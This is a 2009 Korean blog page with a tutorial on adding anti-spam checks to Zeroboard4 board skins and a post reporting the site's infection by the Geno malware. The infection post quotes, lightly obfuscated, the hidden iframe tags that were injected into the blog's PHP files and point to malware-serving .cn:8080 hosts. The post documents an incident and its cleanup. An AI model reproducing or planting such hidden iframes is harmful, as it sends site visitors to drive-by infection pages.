'romeo1052'에 해당되는 글 2건

  1. Sep 27, 2009 제로보드4 게시판에 광고차단 솔루션 적용하기 (2)
  2. Jun 24, 2009 제노(Geno) 바이러스 감염 (8)
본 포스팅은 꺼져스킨(2007년9월이후자료)이 설치된 제로보드4에서만 쓸모있는 내용이며,
지난 6월 romeo1052 님께서 요청하셔서, 특별히 없는시간 쪼개고 쪼개서 작성하다가,
뜻하지 않는 곳에서 약간의 오류가 발생하는 듯 하여, 한동안 고심중에 어느사이 방치해버렸다가,
개인사정상 지금 공개하지 않으면 올해를 넘길것 같아서 이제라도 공개합니다..
테스트 브라우저는 IE6.0, IE7.0, 구글크롬, 파이어폭스, 오페라(기억이 잘..?) 입니다.

경우에 따라서 약간의 오류가 발생할 수 도 있음을 감수하고라도 사용하실 분들은 사용하십시오.


광고차단 솔루션 적용하기 내용에 앞서,
오래전부터 제로보드4 게시판을 사용하면서 느끼는 가장 큰 불편함은 무분별하게 올라오는 광고글이었습니다. 하루에도 수십,수백개씩 올라오는 광고성 글과 댓글은 저의 성격을 버려놨습니다.
그리고, 다년간 제로보드4용 꺼져스킨을 만들어오면서 스팸에 대한 고민을 많이 했으며, 다양한 시도와 여러번의 시행착오를 거쳐서 지금은 어느정도 스팸에 유연하게 대처하는 방법들을 터득했습니다. 그 중에 하나가 꺼져스킨에 사용되는 "광고차단 솔루션"과 "스팸 필터링"입니다.


사용자 삽입 이미지

스팸차단 솔루션


사용자 삽입 이미지

스팸필터링




본 게시물은
꺼져스킨을 사용하지 않는 게시판에서도 스팸필터링 적용하기  에 이은 그 두번째,
꺼져스킨을 사용하지 않는 게시판에서도 광고차단 솔루션 적용하기 에 해당합니다.

[광고글 자동등록 차단솔루션]은 강명수님(widerock골뱅이korea.com) 께서 만드신 프로그램이며,
이를 꺼져스킨에 맞게 조금 변형하였으며, 꺼져스킨 이외의 스킨에도 적용하는 방법에 대해서 소개합니다.
또한, 광고차단 기능에 일당백 역할을 해주는 '꺼져스킨 등록코드' 내용도 포함되어 있습니다.





1. 첨부한 파일의 압축을 풀어서 기존에 사용중인 스킨폴더에 업로드.

첨부된 zip파일에는 antispam.php, anticheck.php, t.gif 파일이 있습니다.
꺼져스킨에 설치된 스팸차단 솔루션을 꺼져스킨이 아닌 다른 스킨에서도 적용하기를 원하시면,
첨부파일의 압축을 풀고 기존에 사용중인 해당 스킨폴더에 위 파일들을 업로드하시면 됩니다.
첨부된 파일은 그대로 업로드하셔도 되고, 해당 파일을 열어서 언어팩 부분을 수정후 업로드하셔도 됩니다.



2. 사용중인 스킨폴더내 setup.php 파일 수정.

[1]
소스 최상단에 아래의 코드를 추가합니다.

(Language : c)
  1. <?php
    // 안티스팸 코드입력  -  by ggerzer
    include "$dir/antispam.php";
    ?>

' -  by ggerzer ' 는 나중에 원본과 구분하기 쉽게, 찾아보기 쉽게 하기 위해 덧붙이는 표시입니다.


3. 사용중인 스킨폴더내 write.php 파일 수정.

[1]
소스 최상단에 아래의 코드를 추가합니다.

(Language : c)
  1. <?php
    // 안티스팸 코드입력  -  by ggerzer
    include "$dir/antispam.php";
    ?>


[2]
소스 중간에 (메인 테이블이 시작되는 그 위에쯤에다가) 아래의 내용을 추가합니다.

(Language : c)
  1. <div id="gglightbox2" style="z-index: 888; position:absolute; display:none; width:0; height:0; background-color:#000000; filter:Alpha(opacity=30); opacity:0.3; -moz-opacity:0.3;"></div>
  2. <div align=center><table width='<?=$width?>' border="0" cellspacing="0" cellpadding="0"><tr>
  3. <td style="display:block;position:relative;top:0;left:0;z-index:991;"><a name="InputCode"></a><div id="ggifrmbox" style="position:absolute;top:;left:;z-index:992;visibility:hidden;"></div></td></tr>
  4. <tr><td height=1><img src="<?=$dir?>/t.gif" border=0 width="100%" height=1 name="gg_write_width"></td></tr>
  5. </table></div>


[3]
<form method=post name="write" action=write_ok.php
이 부분을 찾아보시면, 스킨에 따라서 onsubmit="$%%$" 이 있기도 하고 없기도 합니다.
(1) 만일 없다면, onsubmit="return GG_CheckEntry();" 를 추가해줍니다. -일단락-
(2) 만일 있다면, 그대로 둔 상태에서 기존에 사용중인 해당 펑션을 찾아서 수정해줍니다.
기존에 onsubmit="return check_submit();"로 되어있다면, check_submit를 검색합니다.
[예시 1-1]
<script language="javascript">
 function check_submit()
 {
어쩌구저쩌구이래저래..
 }
</script>

위와같이 정의되어 있다면, 펑션 종결 바로 위에 GG_CheckEntry(); 를 추가해줍니다.
[예시 1-2]
<script language="javascript">
 function check_submit()
 {
어쩌구저쩌구이래저래..
// document.forms["write"].submit();       <----- 있다면 앞에 주석처리해서 (//) 무효화해 주세요.
GG_CheckEntry();
return false;             <------ 없다면 추가해 주세요.
 }
</script>


[4]
<form 으로 시작되는 내용을 찾아서 <input type=hidden name=mode value="<?=$mode?>"> 뒷부분에 아래의 내용을 추가합니다.

(Language : c)
  1. <input type=hidden name="r_code" value="<?=$_rcode?>" />
  2. <input type=hidden name="AntiSpamPass" value="" />



4. 사용중인 스킨폴더내 view_write_comment.php 파일 수정.

[1]
위의 3.-[2]의 코드내용을 view_write_comment.php 파일에도 추가해줍니다.

[2]
<form method=post name="write" action=comment_ok.php
이 부분을 찾아보시면, 스킨에 따라서 onsubmit="$%%$" 이 있기도 하고 없기도 합니다.
(1) 만일 없다면, onsubmit="return GG_CheckComment();" 를 추가해줍니다. -일단락-
(2) 만일 있다면, 위의 3.-[3]과 동일한 방법으로 GG_CheckComment(); 를 추가해서 수정해줍니다.

[3]
위의 3.-[4]의 코드내용을 view_write_comment.php 파일에도 추가해줍니다.





5. 제로보드 폴더내 write_ok.php 파일과 comment_ok.php 파일 수정.

제로보드 폴더내 write_ok.php 파일과 comment_ok.php 파일을 열어서 소스 상단부분의
include "_head.php";
이 부분을 찾아서 그 아랫줄에 다음의 내용을 추가합니다.

(Language : c)
  1. $r_code = $HTTP_POST_VARS[r_code];
  2.  
  3. /***************************************************************************
  4. * GGERZER SKIN 등록코드 체크  -  by ggerzer
  5. **************************************************************************/
  6. if(!$member[no]) {
  7.  @include "ggerzer_skin/ggerzer_co.php3";
  8.  if($_rcode) {
  9.   if($_rcode != $r_code) {
  10.    Error("등록코드가 올바르지 않습니다.<br>정상적으로 글을 작성하여 주시기 바랍니다.");
  11.   }
  12.  }
  13. }
  14.  
  15.  
  16. /***************************************************************************
  17. * 안티스팸코드 체크  -  by ggerzer
  18. **************************************************************************/
  19. if(!$member[no]) {
  20.   @include "ggerzer_skin/AntiSpam2.php";
  21.   AntiSpamCheck();
  22. }


여기서 주의할 점은;;
1. 특정 스킨에서만 스팸차단 솔루션을 적용할 경우에는 위의 내용(5.)을 반드시
if($setup[skinname]=="스킨이름") {

}
로 감싸주셔야 합니다.
안그러면, 스팸차단 솔루션을 적용하지 않는 게시판에서 비회원 글작성시 오류가 발생하게 됩니다.

2. 특정 몇몇 스킨에서만 스팸차단 솔루션을 적용할 경우에는
if($setup[skinname]=="A스킨"||$setup[skinname]=="B스킨"||$setup[skinname]=="C스킨" ) {

}
로 감싸주고,

3. 특정 게시판에서만 적용할 경우에는
if($id=="게시판이름") {

}
로 감싸주고, 특정 몇몇 게시판에서만 적용할 경우에는 위의 2.와 같이 '또는' ( || ) 으로 연결해줍니다.



다시한번 말씀드리지만,
본 내용은 귀하의 계정에 제로보드4용 꺼져스킨이 설치된 경우에만 정상적으로 동작되는것임을 밝히며,
php파일을 수정하기전에는 혹시모를 사태를 대비해서 미리 백업을 해두셔야만 합니다.

Related Entries
Posted by 최우선 at September 27, 2009 14:10

Trackback URL for this entry ::
http://ggerzer.com/trackback/425

Write a comment

  1. 와우 이거 보통일이 아니군요.. 고생하셨습니다요. 정말
    감히 설치해볼 엄두가 나질 않지만 이거 따로 빼내려고 엄청난 애를 쓰신걸 알것같기땜시 시간날때 꼭 해봐야겠어요. 일단 해놓으면 앞으론 걱정이 없을테니까.

    특별히 없는시간 쪼개고 쪼개서 작성하셨다니 더없이 감사할 따름.

    태그에도 등장한 쫌 유명세 탄 나 히히

    Posted by romeo1052 at October 9, 2009 04:25 # Edit/Del Reply

 


ggerzer.com 블로그(버전:tattertools-1.1.3-expansion) 먹통

■ 1차 발견 - 2009년 6월 18일 목요일

(1)
태터툴즈관련 plugins 폴더내 거의 모든 플러그인 각각의 index.php 에
<iframe src="에이치티티피클론슬러쉬슬러쉬 globalmixgroup.cn:8080/ts/in.cgi?pepsi64" width=125 height=125 style="visibility: hidden"></iframe> 및
<iframe src="에이치티티피클론슬러쉬슬러쉬 hugebestbuy.cn:8080/index.php" width=126 height=196 style="visibility: hidden"></iframe> 의 내용이 심어져 있었음.

(2)
태터툴즈관련 blog/owner 폴더 위주로 index.php와 main.php에 위와같이 감염.

(3)
그외 홈페이지 계정내 몇몇 폴더의 index.php/htm/html, main.php/htm/html 파일도 감염.


■ 2차 발견 - 2009년 6월 23일 화요일 오후

1차 발견때와 동일한 폴더 및 파일들이 재감염.
단, 도메인이 namegamestore.cn:8080/index.php 와 shopfilmexistence.cn:8080/index.php 로 변경.



현재(2009.06.24)
감염 이전의 파일들로 모두 복구한 상태이나, 언제 또다시 감염될지 모르겠음..




제노 바이러스는 2009년 5월 22일자 뉴스에서부터 검색이 되고 있다. 검색으로 알아본 결과;;
제노(Geno) 바이러스는 일본의 컴퓨터 판매 사이트인 제노라는 업체 홈페이지가 지난 4월 해킹을 당해 이 악성코드가 전파되면서 알려졌으며, 만일 PC 사용자가 이 악성코드에 감염된 숙주 사이트에 접근할 경우, PC에 어도비(Adobe) 아크로뱃(Acrobat)이나 플래시(Flash) 취약점을 통해 PC가 제노 바이러스에 감염됩니다. 이 악성코드에 감염된 PC는 사용자가 FTP 로그인을 하면 계정정보가 유출될 수 있으며 특정 웹사이트로 강제 이동시키는 증상도 나타납니다. 또 일부 백신 소프트웨어 실행이 중지되고 해당 백신 소프트웨어 사이트의 접속이 차단돼 더 큰 피해를 가져올 수 있습니다.

나의 경우, (언제 어디서 어떻게 감염됐는지는 모르겠지만) 제노 악성코드에 감염된 내 PC 에서,
내 홈페이지 계정으로 FTP 로그인을 시도한적이 있기때문에, 나의 FTP 로그인 정보를 빼내어 홈페이지 파일을 강제 수정하여 iframe 자바스크립트 코드를 삽입한 것으로 추정됨..

한동안 FTP 접속할 일이 거의 없었는데,, 공교롭게도 6월18일 romeo1052님의 질문글에 답변하기 위해서 다이어리스킨 소스를 살펴보려고 잠시 FTP 접속했었다는것!!!
그렇다고해서 뭐 속좁게 romeo1052님을 원망한다거나 증오한다거나 그러진 않는다는것을 밝히고 싶다.

Related Entries
Posted by 최우선 at June 24, 2009 13:12

"그외 나머지" 카테고리의 다른 글 입니다.

Trackback URL for this entry ::
http://ggerzer.com/trackback/424

Write a comment

  1. 저랑 아이디가 좀 비슷한 그 romeo1052라는 사람때문에 고생좀 하셨군요
    혼내주시라능

    Posted by romeo1053 at June 24, 2009 21:32 # Edit/Del Reply

    • 이게 다 romeo1052님 탓이다..라고 생각하지 않아요.
      왜냐면, 전 그렇게 속 좁은 사람이 아니거등요..

      Posted by 최우선 at June 25, 2009 15:09 # Edit/Del Reply

  2. 이야... 멋지네요 -_-;;;
    아무튼 원상 복구 되셨으니 다행입니다.


    Posted by donit2 at June 25, 2009 07:35 # Edit/Del Reply

    • 1차 발견 당시에도 감염 이전의 파일들로 모두 복구했음에도 2차 감염이 또다시 발생된거거든요..
      그저께 빛자루 실행해서 싹싹 청소하다보니 뭔가 바이러스가 잡히긴 잡혔는데, 어제 2차 복구후 FTP접속 패스워드를 변경해두긴했는데,,, 3차 감염이 발생할지 안할지는 시간을 갖고 좀 더 지켜봐야할 것 같아요.

      Posted by 최우선 at June 25, 2009 15:14 # Edit/Del Reply

  3. 관리자님 보세요...
    광고성 리플을 삭제하려는데...
    352개가 달렸기에 모두선택하고 삭제하니 하나도 지워지지 않는군요...
    댓글 삭제 갯수 제한이 몇개까지 인지요?
    더 늘려주시면 안될까요?
    하나씩 지우려니 눈아프고, 손가락아프고, 시간아프고....???ㅋ

    Posted by 한바다 at August 23, 2009 18:31 # Edit/Del Reply

    • 댓글 삭제 갯수 제한은 없습니다.
      모두 선택하지 마시고,, 한 서너개만 선택 체크해서 삭제해보세요..
      삭제가 안된다면, 뭔가 스킨설치가 제대로 안된것같습니다..
      스킨의 설정페이지내 게시물관리의 댓글 일괄삭제 메뉴도 있습니다.

      Posted by 최우선 at August 27, 2009 16:15 # Edit/Del Reply

  4. 저도 이거 감염되었는데,,,ㅜㅜ어떻게 잡아야 하나요??
    8080이라는 숫자가 iframe안에 저도 모르는 사이에 들어갔더라구요,,,
    그래서 제 홈페이지 한동안 안되다가 호스팅업체에 전화해서 난리치다가 감염된 파일은 수정했는데,,,,백신이나 이거 잡을수 있는 바이러스 없나요?

    Posted by 저도,,,, at September 21, 2009 13:51 # Edit/Del Reply

    • 일단, 사용하고 계신 컴퓨터에 바이러스가 있는지 체크해서 치료하시고 나서,, 홈페이지 계정의 FTP 접속 비밀번호를 바꾸시는 방법밖에는...

      Posted by 최우선 at September 23, 2009 14:57 # Edit/Del Reply